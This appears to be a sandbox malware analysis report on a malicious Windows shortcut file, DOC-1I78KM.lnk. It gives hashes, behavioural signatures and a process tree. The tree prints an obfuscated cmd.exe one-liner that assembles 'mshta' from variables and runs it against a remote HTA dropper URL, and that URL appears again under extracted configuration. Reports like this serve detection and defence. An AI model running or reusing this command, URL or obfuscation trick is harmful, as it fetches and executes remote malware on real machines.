Analysis
- max time kernel
40s - max time network
27s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 18:22
Static task
static1
Behavioral task
behavioral1
Sample
DOC-1I78KM.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-1I78KM.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-1I78KM.lnk
- Size 1KB
- Sample260803-wzzgcsvhpb
- SHA256 b24efe00eae1e35bb32e89e301bd312506513548187d82666922cccad14c0b6b
- MD5 18a715fb6ac071ff2010acd6b24cfb4c
- SHA1 21374c5d9cd94dcf03e272f2f4c092b0626fee63
- SHA512 6239f90760240d651157de64e010a8212eab446b4e55a246cb586715826544e1785c85322f5d78f7297efc8e84e46090a99beab02020c28893ae9428e0d273bf
- TLSH T1673197502EEC0624F3F38E7798BB572085BBB99A8D20C72E0140450C5032A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4956 cmd.exe 4696 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4696 wrote to memory of 4956 4696 cmd.exe 90 PID 4956 wrote to memory of 4860 4956 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1I78KM.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set is=msh&&set vu=ta&&start "" !is!!vu! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4860
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